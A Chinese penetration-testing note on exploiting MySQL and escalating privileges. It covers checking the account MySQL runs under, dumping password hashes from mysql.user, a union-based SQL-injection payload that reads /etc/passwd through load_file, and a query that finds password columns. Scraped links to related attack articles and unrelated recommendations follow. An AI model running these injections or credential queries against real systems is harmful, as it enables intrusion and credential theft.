mysql 漏洞利用与提权
判断MySQL服务运行的权限
1、查看系统账号,如果出现MySQL这类用户,意味着系统可能出现了降权。
2、看mysqld运行的priority值。
3、查看端口是否可外联。
MySQL密码获取与破解
1、获取网站数据库账号和密码
2、获取MySQL数据库user表
用户一共有三个文件,即user.frm、user.MYD、user.MYI,MySQL数据库用户密码都保存在user.MYD文件中,包括root用户和其他用户密码。
MySQL密码查询
select user,password from mysql.user;
select user,password from mysql.user where user = 'root';
mysql 渗透技巧
如果发现一个PHP的SQL 注入点,可以通过构造"-1 union select 1,1,1,1,1,load_file('/etc/passwd')"
直接读取的配置文件的命令如下
select load_file('/etc/passwd')\
select load_file('/etc/issues')
select load_file('/etc/etc/rc.local')
一些常见的MySQL命令
show databases;
use testdatabases; 使用某个数据库
show tables;
select * from a 查询a表中所有的数据
select @@datadir; 查询数据库的路径
select @@basedir 查询mysql的安装路径
常用内置函数
select system_user() 查询系统
select current_user() 查询用户
select user() 查询用户
select version() 查询数据库版本
select database() 查询当前连接的数据库
select @@version_compile_os查询当前操作系统
select now() 显示当前时间
快速定位数据库中涉及的密码表
select table_schema,table_name,column_name from information_schema.columns where column_name like ‘%password%’;
mysql 漏洞利用与提权的更多相关文章
- MSSQL 漏洞利用与提权
		
1.SA口令的获取 webshell或源代码的获取 源代码泄露 嗅探(用CAIN等工具嗅探1433数据库端口) 口令暴力破解 2.常见SQL server 提权命令 查看数据库的版本(select @ ...
 - 利用phpMyAdmin提权
		
利用phpMyAdmin提权 发表于 2016-03-31 | 分类于 phpMyAdmin | 暂无评论 | 9次阅读 爆路径 /phpmyadmin/libraries/lec ...
 - ECShop全系列版本远程代码执行高危漏洞分析+实战提权
		
漏洞概述 ECShop的user.php文件中的display函数的模版变量可控,导致注入,配合注入可达到远程代码执行.攻击者无需登录站点等操作,可以直接远程写入webshell,危害严重. 漏洞评级 ...
 - 利用IIS6提权获得管理员权限
		
IIS6也是一个比较古老的提权EXP了,是通过利用WMI的权限来执行命令. 目标机:漏洞巨多的Win2003 下面说一下通过IIS6在已用菜刀连接上的服务器上运用IIS6获得管理员权限的过程. 1.将 ...
 - Linux利用udev提权
		
友老催我写个webshell+udev localroot的文章.这周末有点空闲时间,捣鼓了一下.公开的udev exploit有两个.一个是kcope写的SHELL版本,一个是jon写的C版本. s ...
 - [提权]mysql中的UDF提权
		
由于udf提权是需要构造UDF函数文件的,涉及到了写文件.所以本次实验已经将mysql的配置做了改动:–secure-file-priv=''. 剧情须知: secure_file_priv 为 NU ...
 - mysql以ROOT权限提权方法
		
今天feng问了一个问题,mysql root权限运行,直接root服务器吧,SSH登录 正好上网查一下相关的资料: mysql .x里面引入了一个system函数,这个函数可以执行系统命令,当mys ...
 - SQL注入中利用XP_cmdshell提权的用法(转)
		
先来介绍一下子服务器的基本情况,windows 2000 adv server 中文版,据称 打过了sp3,asp+iis+mssql .首先扫描了一下子端口,呵呵,开始的一般步骤. 端口21开放: ...
 - Mysql 漏洞利用(越权读取文件,实战怎么从低权限拿到root密码)[转]
		
cnrstar (Be My Personal Best!) | 2014-05-20 21:58 众所周知,Mysql的用户在没有File权限情况下是无法通过Load_file读文件或者通过into ...
 
随机推荐
- Cypress系列(18)- 可操作类型的命令 之 点击命令
			
如果想从头学起Cypress,可以看下面的系列文章哦 https://www.cnblogs.com/poloyy/category/1768839.html 前言 啥是可操作类型?就是可以和 DOM ...
 - 字符串相同ID竟然不同!!!
 - 学习nginx从入门到实践(五)  场景实践之静态资源web服务
			
一.静态资源web服务 1.1 静态资源 静态资源定义:非服务器动态生成的文件. 1.2 静态资源服务场景-CDN 1.3 文件读取配置 1.3.1 sendfile 配置语法: syntax: se ...
 - 为什么要使用Mybatis-现有持久化技术的对比
			
1)JDBC SQL 夹在Java代码块里,耦合度高导致硬编码内伤 维护不易且实际开发需求中SQL有变化,频繁修改的情况很多 2)Hibernate 和 JPA 长难复杂SQL, 对于Hibernat ...
 - fopen函数中的mode参数
			
fopen FILE * fopen ( const char * filename, const char * mode ); 其中,参数mode可取以下值: "r"read: ...
 - 使用redis实现nodejs并发服务
			
const redisClient = require('redis').createClient(6379, '127.0.0.1'); const crypto = require('crypto ...
 - Laya 吐槽日志.
			
新换了一个公司,公司有两个产品都是用的laya, 一个as写的2D游戏, 一个ts写的3D游戏 as写小游戏,各种不舒服啊, 一堆 __JS这样的代码, 体验极差. laya IDE 按钮只能做 ...
 - django OperationalError: unable to open database file 创建数据库
 - IWAB0398E Error in generating WSDL from Java:  java.lang.ClassNotFoundException
			
今天想用Eclipse创建WebService,报错信息 IWAB0398E Error in generating WSDL from Java: java.lang.ClassNotFoundEx ...
 - 在树莓派上读取DHT11温湿度传感器-python代码实现及常见问题(全面简单易懂)
			
最近由于自己的课题需要,想要用在树莓派上使用DHT11温湿度传感器来读取空气中温湿度,遇到了几个问题,解决之后也对之前的知识进行了回顾,总结,特整理如下,希望能给也在学习树莓派的小伙伴们带来一些帮助. ...